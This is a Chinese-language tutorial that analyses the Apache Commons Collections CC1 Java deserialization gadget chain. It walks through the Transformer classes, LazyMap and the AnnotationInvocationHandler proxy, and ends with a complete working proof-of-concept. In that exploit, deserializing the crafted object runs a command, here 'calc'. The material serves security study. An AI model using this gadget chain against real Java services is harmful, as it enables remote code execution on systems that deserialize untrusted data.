Java反序化-cc1

简介: Java反序化-cc1
@[TOC](CC1链分析)

利用类分析

Transformer

Transformer 是一个接口,提供了一个transform()方法。官方的注释是 将对象(保持不变)转换为某个输出对象

image.png

TransformedMap

TransformedMap 类,用来处理一个Map类,对该类进行添加和修改。 当TransformedMap 处理key 和value时,会调用 transform() 方法来对 key 和 value 进行处理

image.png

可以看当调用 put() 方法添加key 和 value 时会先调用transformKey() transformValue()方法来对 key value 来进行处理

image.png

image.png

之后看一下这两个方法,发现里面都有调用到 transform() 方法

这里的keyTransformer 和 valueTransformer 相当于修改器,用来修改 key 和 value ,具体修改的的方法要根据keyTransformer 和 valueTransformer 的 transform()方法来决定。

ConstantTransformer

这个类实现了Transofmer,作用是在实例化的时候接收一个参数,在调用 transform() 方法时返回这个参数

image.png

InvokerTransformer

这个类同样实现了Transofmer。 在调用 transform() 方法时通过反射调用参数的类的某个方法,可达到一个代码执行的效果 他在实例化时传入的三个参数分别是 要执行的方法、方法参数的类型、方法的参数

image.png

image.png

ChainedTransformer

这个类也实现了Transofmer,ChainedTransformer的 transform() 方法就比较特殊了。首先,ChainedTransformer在实例化的时候会获取一个数组,之后调用 transform() 方法的时候数组中所有的类都会调用它们的 transform() 方法 并且transform() 方法返回的值会作为下一个 transform() 方法的参数使用,以此重复

这里借用一下P神的图

image.png


Poc构造

Transformer数组构造

看一下已经构造好的数组 这个数组中有两个实例化的类,分别是ConstantTransformer 和 InvokerTransformer。


public static void main(String[] args) {
   Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.getRuntime()),
    new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"}),
  };
}

将这个数组作为参数传递给ChainedTransformer 类 上文在对ChainedTransformer 介绍时说了,ChainedTransformer 会在调用transform() 方法时把数组中所有类的transform() 方法都调用一点 ,并且把返回的结果作为下一个transform() 方法的参数使用 这里我们在把数组传递给ChainedTransformer 之后调用了transform() 方法


public static void main(String[] args) {
   Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.getRuntime()),
    new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"}),
  };
  Transformer transformerChain = new ChainedTransformer(transformers);
  transformerChain.transform("asdf");
}

在调用transform() 方法那行打断点,调试一下,看看程序是怎么运行的 在进入到ChainedTransformer#transform() 方法之后会遍历数组,首先遍历到的是 ConstantTransformer。

image.png调用ConstantTransformer#transform() 上文介绍ConstantTransformer 时说过,ConstantTransformer#transform()会返回实例化时接收的参数,在实例化的时候我们接收的参数时 Runtime.getRuntime() 所以这里返回的值就是Runtime 类

image.png 在调用完ConstantTransformer#transform() 之后开始下一次的循环 这次循环调用的是InvokerTransformer#transform()

image.pngInvokerTransformer#transform() 参数用的是ConstantTransformer#transform() 返回的结果 Runtime 这里先是判断input 是否为空,然后使用getMethod() 获取Runtime中的exec() 方法 之后通过invoke() 调用exec方法,参数是"calc"

image.png执行完毕

image.png

LazyMap

LazyMap的作用大概就是,当 map 对象要获取 key 时,会判断 map 对象中有没有这个key,如果没有的话,就会创建这个key ,并给这个key 添加值,之后再把这个key 添加到 map对象中 看具体代码


public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

调用get() 时,会先判断map 中有没有这个key 如果没有则创建这个key 并调用 factory.transform() 给key 添加一个值,之后调用put() 将这个key 添加至map对象中。

Java动态代理

上面我们讲述了一下触发点,接下来我们来看一下如何才能调用到这个点来代码执行 在ysoserial中是通过sun.reflect.annotation.AnnotationInvocationHandler 这个类中的readObject来调用的 这个类实现了 InvocationHandler 接口,也就是说,当这个类在作为动态代理使用时,被代理对象执行方法时会先去调用 动态代理中的 invoke方法 这里我们看一下 sun.reflect.annotation.AnnotationInvocationHandler#invoke()的代码


public Object invoke(Object var1, Method var2, Object[] var3) {
        String var4 = var2.getName();
        Class[] var5 = var2.getParameterTypes();
        if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
            return this.equalsImpl(var3[0]);
        } else if (var5.length != 0) {
            throw new AssertionError("Too many parameters for an annotation method");
        } else {
            switch (var4) {
                case "toString":
                    return this.toStringImpl();
                case "hashCode":
                    return this.hashCodeImpl();
                case "annotationType":
                    return this.type;
                default:
                    Object var6 = this.memberValues.get(var4);
                    if (var6 == null) {
                        throw new IncompleteAnnotationException(this.type, var4);
                    } else if (var6 instanceof ExceptionProxy) {
                        throw ((ExceptionProxy)var6).generateException();
                    } else {
                        if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                            var6 = this.cloneArray(var6);
                        }
                        return var6;
                    }
            }
        }
    }

这里我们得出一条利用链 通过某个类重写后的readObject() 方法调用 map的任意方法,之后就会调用到动态代理的 invoke() 方法,在invoke()方法中调用到了get() 方法加载key,要是key不在map 对象中,则会调用到transform()方法。


new xxx.readObject()
  new LazyMap().xxx()
    new AnnotationInvocationHandler().invoke()
      new LazyMap().get()
        new ChainedTransformer.transform()
          new ConstantTransformer().transform()
            new InvokerTransformer().transform()

接着我们再看一下 sun.reflect.annotation.AnnotationInvocationHandler#readObject() 调用到了 Map接口中的 entrySet()方法,那么这里就可以作为我们的入口点去触发代码执行。


private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;
        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }
        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();
        while(var4.hasNext()) {
            Map.Entry var5 = (Map.Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }
    }

完整攻击链


public static void main(String[] args) throws Exception{
        //构造恶意数组
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0]}),
                new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc"}),
        };
        //获取恶意数组
        Transformer transformerChain = new ChainedTransformer(transformers);
        //将恶意方法作为修饰元素的方法
        Map lazyMap = LazyMap.decorate(new HashMap(),transformerChain);
        //反射获取并实例化动态代理
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = cls.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        InvocationHandler LazyMap_handler = (InvocationHandler) constructor.newInstance(Retention.class,lazyMap);
        //代理 lazyMap的接口,使用 LazyMap_handler代理
        //proxyMap在调用到 Map接口中的任意方法之后将会执行 LazyMap_handler的 invoke()方法
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),lazyMap.getClass().getInterfaces(),LazyMap_handler);
        //将 proxyMap带入到 sun.reflect.annotation.AnnotationInvocationHandler类中,去调用 entrySet()方法
        Object  handler = constructor.newInstance(Retention.class,proxyMap);
        //反序列化
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("LazyMap_CC1"));
        oos.writeObject(handler);
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("LazyMap_CC1"));
        ois.readObject();
    }
目录
相关文章
|
9月前
|
Java
Java反序列化-CC2分析
Java反序列化-CC2分析
51 0
|
安全 Java 中间件
java代码审计之CC1链(一)
前言 Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强大的数据结构类型和实现了各种集合工具类。作为Apache开放项目的重要组件,Commons Collections被广泛的各种Java应用的开发。 commons-collections组件反序列化漏洞的反射链也称为CC链,自从apache commons-collections组件爆出第一个java反序列化漏洞后,就像打开了java安全的新世界大门一样,之后很多java中间件相继都爆出反序列化漏洞。本文分析java反序列化CC1链。
155 0
|
关系型数据库 MySQL Java
|
Java Android开发
【Android 逆向】ART 脱壳 ( InMemoryDexClassLoader 脱壳 | DexFile.java 对应的 dalvik_system_DexFile.cc 本地函数分析 )
【Android 逆向】ART 脱壳 ( InMemoryDexClassLoader 脱壳 | DexFile.java 对应的 dalvik_system_DexFile.cc 本地函数分析 )
136 0
|
7天前
|
Java 开发者
奇迹时刻!探索 Java 多线程的奇幻之旅:Thread 类和 Runnable 接口的惊人对决
【8月更文挑战第13天】Java的多线程特性能显著提升程序性能与响应性。本文通过示例代码详细解析了两种核心实现方式:Thread类与Runnable接口。Thread类适用于简单场景,直接定义线程行为;Runnable接口则更适合复杂的项目结构,尤其在需要继承其他类时,能保持代码的清晰与模块化。理解两者差异有助于开发者在实际应用中做出合理选择,构建高效稳定的多线程程序。
28 7
|
6天前
|
安全 Java 数据库
一天十道Java面试题----第四天(线程池复用的原理------>spring事务的实现方式原理以及隔离级别)
这篇文章是关于Java面试题的笔记,涵盖了线程池复用原理、Spring框架基础、AOP和IOC概念、Bean生命周期和作用域、单例Bean的线程安全性、Spring中使用的设计模式、以及Spring事务的实现方式和隔离级别等知识点。
|
6天前
|
存储 监控 安全
一天十道Java面试题----第三天(对线程安全的理解------>线程池中阻塞队列的作用)
这篇文章是Java面试第三天的笔记,讨论了线程安全、Thread与Runnable的区别、守护线程、ThreadLocal原理及内存泄漏问题、并发并行串行的概念、并发三大特性、线程池的使用原因和解释、线程池处理流程,以及线程池中阻塞队列的作用和设计考虑。
|
1天前
|
Java
java开启线程的四种方法
这篇文章介绍了Java中开启线程的四种方法,包括继承Thread类、实现Runnable接口、实现Callable接口和创建线程池,每种方法都提供了代码实现和测试结果。
java开启线程的四种方法